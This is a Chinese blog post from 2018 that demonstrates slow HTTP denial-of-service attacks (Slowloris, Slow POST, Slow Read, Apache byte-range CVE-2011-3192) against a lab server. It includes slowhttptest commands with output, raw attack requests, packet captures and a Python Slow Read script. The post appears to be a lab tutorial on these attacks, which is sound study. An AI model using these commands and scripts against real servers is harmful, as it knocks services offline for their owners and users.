Slow HTTP Attack

作者: 捞小虾 | 来源:发表于2018-05-21 17:52 被阅读460次

    Author: Xu FC

    Slowloris


    • Slowloris (slow header): 客户端通过慢速发送 HTTP headers 但不完成请求,使其到 Web server 的连接保持住,以这种方式使 Web server 端保持住大量的连接,从而消耗 Web server 的并发连接数 (CC -- Current Connections) , 最终导致 Web server 不能接受新的连接尝试。

    • 使用 slowhttptest (slowhttptest 工具见下文) 发起 slow header 攻击

    slowhttptest -H -c 1000 -l 300 -u http://192.168.2.100/DVWA/
    
    Mon May 21 02:03:49 2018:
            slowhttptest version 1.7
     - https://code.google.com/p/slowhttptest/ -
    test type:                        SLOW HEADERS
    number of connections:            1000
    URL:                              http://192.168.2.100/DVWA/
    verb:                             GET
    Content-Length header value:      4096
    follow up data max size:          68
    interval between follow up data:  10 seconds
    connections per seconds:          50
    probe connection timeout:         5 seconds
    test duration:                    300 seconds
    using proxy:                      no proxy 
    
    Mon May 21 02:03:49 2018:
    slow HTTP test status on 45th second:
    
    initializing:        0
    pending:             426
    connected:           407
    error:               0
    closed:              167
    service available:   NO
    
    • Slowhttptest 所发送的请求
    GET /DVWA/ HTTP/1.1
    Host: 192.168.2.100
    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)
    Referer: TESTING_PURPOSES_ONLY
    X-aK1: sjqQ4Z
    X-4: S
    X-OWw: H
    X-Dptasviz5: Q
    ...X-headers...
    
    • 服务端连接数变化
    # 客户端发起攻击前,服务端的连接数
    root@server2:~# netstat -na|grep -i 80|wc -l
    47
    
    # 客户端发起攻击过程中,服务端的连接数
    root@server2:~# netstat -na|grep -i 80|wc -l
    461
    root@server2:~# netstat -na|grep -i 80|wc -l
    706
    

    Slow Post


    • Slow Post (slow body): 原理与 slowloris 类似,只是客户端不是慢速发送 HTTP header 而是通过慢速发送 POST 请求主体来消耗 Web server 的并发连接数。

    • 使用 slowhttptest (slowhttptest 工具见下文) 发起 slow body 攻击

    slowhttptest -B -t POST -c 1000 -u http://192.168.2.100/index.html
    
    Mon May 21 02:25:11 2018:
            slowhttptest version 1.7
     - https://code.google.com/p/slowhttptest/ -
    test type:                        SLOW BODY
    number of connections:            1000
    URL:                              http://192.168.2.100/index.html
    verb:                             POST
    Content-Length header value:      4096
    follow up data max size:          66
    interval between follow up data:  10 seconds
    connections per seconds:          50
    probe connection timeout:         5 seconds
    test duration:                    240 seconds
    using proxy:                      no proxy 
    
    Mon May 21 02:25:11 2018:
    slow HTTP test status on 25th second:
    
    initializing:        0
    pending:             0
    connected:           931
    error:               0
    closed:              69
    service available:   NO
    
    • Slowhttptest 所发送的请求
    POST /index.html HTTP/1.1
    Host: 192.168.2.100
    User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/534.34 (KHTML,like Gecko) PhantomJS/1.9.0 (development) Safari/534.34
    Referer: TESTING_PURPOSES_ONLY
    Content-Length: 4096
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Connection: close
    
    foo=bar&zmJIOeINQ0GMKUjHLRWrdoo4=Ag5sPlhzsnEMwPamVmxpL2zcOe&1IzvHUozjPUX55bHrohS9JF=T5avJ4r8DetKwV7WiPrdKGk0u&ItNLUgG=RPp6MqZ3yLPtfx8MRGSz&C5CuINEoTz3he0tI=m6azp6nlG4pZtkbmmLsyQUHDOmf&TnP6hnvMhWvoQaD88cilmRX0le=xHWxa9CUgqEqNabzpz0lwTJV3Ys&8MkvR6hq5j8ZNAFZbeOERFpDWwW=LE8HPg0ecXIV5&uIHxhgRuigxLiJ84YH9UMOy=qQazlV4VbBI7gXrC3eObnKU9PT
    ...&name=value...
    
    • 服务端连接数变化
    # 客户端发起攻击前,服务端的连接数
    root@server2:~# netstat -na|grep -i 80|wc -l
    13
    # 客户端发起攻击过程中,服务端的连接数
    root@server2:~# netstat -na|grep -i 80|wc -l
    979
    

    Slow Read


    • Slow Read: 与 slow header/slow body 目的相同,都是消耗服务端的并发连接数,但攻击手段不同,slow header/slow body 是通过构造不完整的请求以保持连接,而 slow read 则是通过调小客户端 TCP window size,以拉长 HTTP response 的接收时间,从而使服务端端保持住大量的连接。

    • Slowhttptest (slowhttptest 工具见下文) 支持发送 slow read 攻击,但感觉有bug……下面是自己写的攻击脚本,发起的攻击抓包,客户端 TCP window size 设置为 1,导致应答时间被严重拉长。

    17:14:41.759144 IP 192.168.2.99.51512 > server2.http: Flags [S], seq 3893525212, win 1, options [mss 1460,nop,wscale 0,nop,nop,sackOK], length 0
    17:14:41.759182 IP server2.http > 192.168.2.99.51512: Flags [S.], seq 1005897686, ack 3893525213, win 29200, options [mss 1460,nop,nop,sackOK,nop,wscale 7], length 0
    17:14:41.760414 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1, win 1, length 0
    17:14:41.761078 IP 192.168.2.99.51512 > server2.http: Flags [P.], seq 1:30, ack 1, win 1, length 29: HTTP: GET / HTTP/1.1
    17:14:41.761100 IP server2.http > 192.168.2.99.51512: Flags [.], ack 30, win 229, length 0
    17:14:41.968191 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1:2, ack 30, win 229, length 1: HTTP
    17:14:42.019538 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 2, win 1, length 0
    17:14:42.232185 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 2:3, ack 30, win 229, length 1: HTTP
    17:14:42.283469 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 3, win 1, length 0
    17:14:42.500189 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 3:4, ack 30, win 229, length 1: HTTP
    17:14:42.552308 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 4, win 1, length 0
    17:14:42.776205 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 4:5, ack 30, win 229, length 1: HTTP
    17:14:42.827553 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 5, win 1, length 0
    17:14:43.052269 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 5:6, ack 30, win 229, length 1: HTTP
    17:14:43.103669 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 6, win 1, length 0
    17:14:43.332188 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 6:7, ack 30, win 229, length 1: HTTP
    ......
    17:23:58.820199 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1780:1781, ack 30, win 229, length 1: HTTP
    17:23:58.871237 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1781, win 1, length 0
    17:23:59.140212 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1781:1782, ack 30, win 229, length 1: HTTP
    17:23:59.191904 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1782, win 1, length 0
    17:23:59.460208 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1782:1783, ack 30, win 229, length 1: HTTP
    17:23:59.511412 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1783, win 1, length 0
    17:23:59.780211 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1783:1784, ack 30, win 229, length 1: HTTP
    17:23:59.831371 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1784, win 1, length 0
    17:24:00.100192 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1784:1785, ack 30, win 229, length 1: HTTP
    17:24:00.151403 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1785, win 1, length 0
    17:24:00.420224 IP server2.http > 192.168.2.99.51512: Flags [P.], seq 1785:1786, ack 30, win 229, length 1: HTTP
    17:24:00.471399 IP 192.168.2.99.51512 > server2.http: Flags [.], ack 1786, win 1, length 0
    ......
    
    • 添加少量并发后,服务端连接数变化
    # 客户端发起攻击前,服务端的连接数
    root@server2:~# netstat -na|grep -i 80|wc -l
    13
    
    # 客户端发起攻击过程中,服务端的连接数
    root@server2:~# netstat -na | grep -i 80 | wc -l
    147
    
    • 脚本
    #!/usr/bin/env python
    import socket
    import time
    import threading
    
    def tcp_windowsize(ip, port, windowsize, url):
        message = 'GET ' + str(url) + ' HTTP/1.1\r\nHost: ' + str(ip) + ':'+ str(port) + '\r\n\r\n'
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, windowsize)
            s.connect((ip, port))
            s.send(message.encode())
            data = s.recv(1024)
            while len(data) != 0:
                data = s.recv(1024)
            s.close()
        except Exception as e:
            print(e)
    
    def thread(thread_number, ip, port, windowsize, url):
        thread_pool = []
        for i in range(0, thread_number):
            thread_pool.append(threading.Thread(target = tcp_windowsize, args = (ip, port, windowsize, url)))
            thread_pool[i].start()
    
    if __name__ == '__main__':
        ip = '192.168.2.99'
        port = 80
        windowsize = 1
        url = '/'
        thread_number = 10
    
        thread(thread_number, ip, port, windowsize, url)
    

    Byte Range Attack


    • Byte Range Attack: 是 apache 的一个安全漏洞 (CVE-2011-3192), 客户端通过 HTTP 部分访问 (byte range 访问),使得 apache 进行大量的计算和字符串处理,从而消耗服务器的 CPU 和内存,达到拒绝服务效果。

    • Slowhttptest (slowhttptest 工具见下文) 支持发送 Byte Range 攻击,但感觉有bug……下面是手动 byte range 访问

    GET / HTTP/1.1
    Host: 192.168.2.100
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14
    Referer: TESTING_PURPOSES_ONLY
    Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10
    Accept-Encoding: gzip
    Connection: close
    
    HTTP/1.1 206 Partial Content
    Date: Mon, 21 May 2018 10:44:18 GMT
    Server: Apache/2.2.14 (Win32)
    Set-cookie: t=1526899458887310
    test: t=1526899458887310
    Content-Length: 1320
    Connection: close
    Content-Type: multipart/byteranges; boundary=56cb4fbdace8e5dc
    
    
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 0-620/621
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
    <html>
     <head>
      <title>Index of /</title>
     </head>
     <body>
    <h1>Index of /</h1>
    <ul><li><a href="8.5.1Project/"> 8.5.1Project/</a></li>
    <li><a href="Open/"> Open/</a></li>
    <li><a href="PUT/"> PUT/</a></li>
    <li><a href="TMP/"> TMP/</a></li>
    <li><a href="TSG/"> TSG/</a></li>
    <li><a href="Test/"> Test/</a></li>
    <li><a href="ips.txt"> ips.txt</a></li>
    <li><a href="ips.txt.bak"> ips.txt.bak</a></li>
    <li><a href="test.xml"> test.xml</a></li>
    <li><a href="test.xml.bak"> test.xml.bak</a></li>
    <li><a href="waf_rules.json"> waf_rules.json</a></li>
    </ul>
    </body></html>
    
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 5-5/621
    
    T
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 5-6/621
    
    TY
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 5-7/621
    
    TYP
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 5-8/621
    
    TYPE
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 5-9/621
    
    TYPE 
    --56cb4fbdace8e5dc
    Content-type: text/html;charset=UTF-8
    Content-range: bytes 5-10/621
    
    TYPE H
    --56cb4fbdace8e5dc--
    
    • 添加更多的 byte range,并增加并发数量将对服务器资源造成比较大的影响,结果不贴了:)

    Slowhttptest 工具安装


    • Clone slowhttptest 安装包: git clone https://github.com/shekyan/slowhttptest.git
    • 切到 slowhttptest 目录下
    • ./configure
    root@xufc-virtual-machine:/usr/local/slowhttptest# ./configure
    checking for a BSD-compatible install... /usr/bin/install -c
    checking whether build environment is sane... yes
    checking for a thread-safe mkdir -p... /bin/mkdir -p
    checking for gawk... no
    checking for mawk... mawk
    checking whether make sets $(MAKE)... yes
    checking whether make supports nested variables... yes
    checking for g++... g++
    checking whether the C++ compiler works... yes
    checking for C++ compiler default output file name... a.out
    checking for suffix of executables... 
    checking whether we are cross compiling... no
    checking for suffix of object files... o
    checking whether we are using the GNU C++ compiler... yes
    checking whether g++ accepts -g... yes
    checking for style of include used by make... GNU
    checking dependency style of g++... gcc3
    checking for gcc... gcc
    checking whether we are using the GNU C compiler... yes
    checking whether gcc accepts -g... yes
    checking for gcc option to accept ISO C89... none needed
    checking whether gcc understands -c and -o together... yes
    checking dependency style of gcc... gcc3
    checking whether g++ supports C++11 features by default... no
    checking whether g++ supports C++11 features with -std=c++11... yes
    checking for SSL_library_init in -lssl... no
    checking for OPENSSL_init_ssl in -lssl... no
    configure: error: OpenSSL-devel is missing
    

    缺少 gawk 和 ssl lib 依赖

    • apt install gawk libssl-dev安装 gawk 和 ssl lib 依赖

    • 再次./configure,成功后 make && make install

    • 使用

    root@client_1:/home/xufc/Templates# slowhttptest -h
    
    slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.7
    Usage: slowhttptest [options ...]
    Test modes:
      -H               slow headers a.k.a. Slowloris (default)
      -B               slow body a.k.a R-U-Dead-Yet
      -R               range attack a.k.a Apache killer
      -X               slow read a.k.a Slow Read
    
    Reporting options:
    
      -g               generate statistics with socket state changes (off)
                       // 生成计信息并保存到 html 和 csv 文件中
      -o file_prefix   save statistics output in file.html and file.csv (-g required)
                       // 使用 -g 生成统计信息,指定 html 和 csv 文件名字
      -v level         verbosity level 0-4: Fatal, Info, Error, Warning, Debug
                       // 日志级别
    
    General options:
    
      -c connections   target number of connections (50)
                       // CC 并发
      -i seconds       interval between followup data in seconds (10) 
                       // 一个请求中,每隔几秒发送一部分数据
      -l seconds       target test length in seconds (240)
                       // 总体测试时间
      -r rate          connections per seconds (50)
                       // 每秒 connection attempt 
      -s bytes         value of Content-Length header if needed (4096)
                       // content-length 值
      -t verb          verb to use in request, default to GET for
                       slow headers and response and to POST for slow body
                       // HTTP request method, slow headers -- GET, slow body -- POST
      -u URL           absolute URL of target (http://localhost/)
                       // 目标URL
      -x bytes         max length of each randomized name/value pair of
                       followup data per tick, e.g. -x 2 generates
                       X-xx: xx for header or &xx=xx for body, where x
                       is random character (32)
                       // name/value 的长度,e.g. -x 2 表示 name = (X-)xx, value=xx, 组合起来 header -- X-xx: xx, body -- &xx=xx
      -f content-type  value of Content-type header (application/x-www-form-urlencoded)
                       // content-type 值
      -m accept        value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)
                       // accept 值
    
    Probe/Proxy options:
    
      -d host:port     all traffic directed through HTTP proxy at host:port (off)
                       // HTTP proxy
      -e host:port     probe traffic directed through HTTP proxy at host:port (off)
      -p seconds       timeout to wait for HTTP response on probe connection,
                       after which server is considered inaccessible (5)
    
    Range attack specific options:
    
      -a start        left boundary of range in range header (5)
                      // Byte range 起始位置
      -b bytes        limit for range header right boundary values (2000)
                      // Byte range 结束位置
    
    Slow read specific options:
    
      -k num          number of times to repeat same request in the connection. Use to
                      multiply response size if server supports persistent connections (1)
                      // 支持长连接的情况下,一个 TCP 连接中发送 request 的数量
      -n seconds      interval between read operations from recv buffer in seconds (1)
      -w bytes        start of the range advertised window size would be picked from (1)
                      // TCP window size 范围 最小值
      -y bytes        end of the range advertised window size would be picked from (512)
                      // TCP window size 范围 最大值
      -z bytes        bytes to slow read from receive buffer with single read() call (5)
    

    相关文章

      网友评论

        本文标题:Slow HTTP Attack

        本文链接:https://www.haomeiwen.com/subject/akxpdftx.html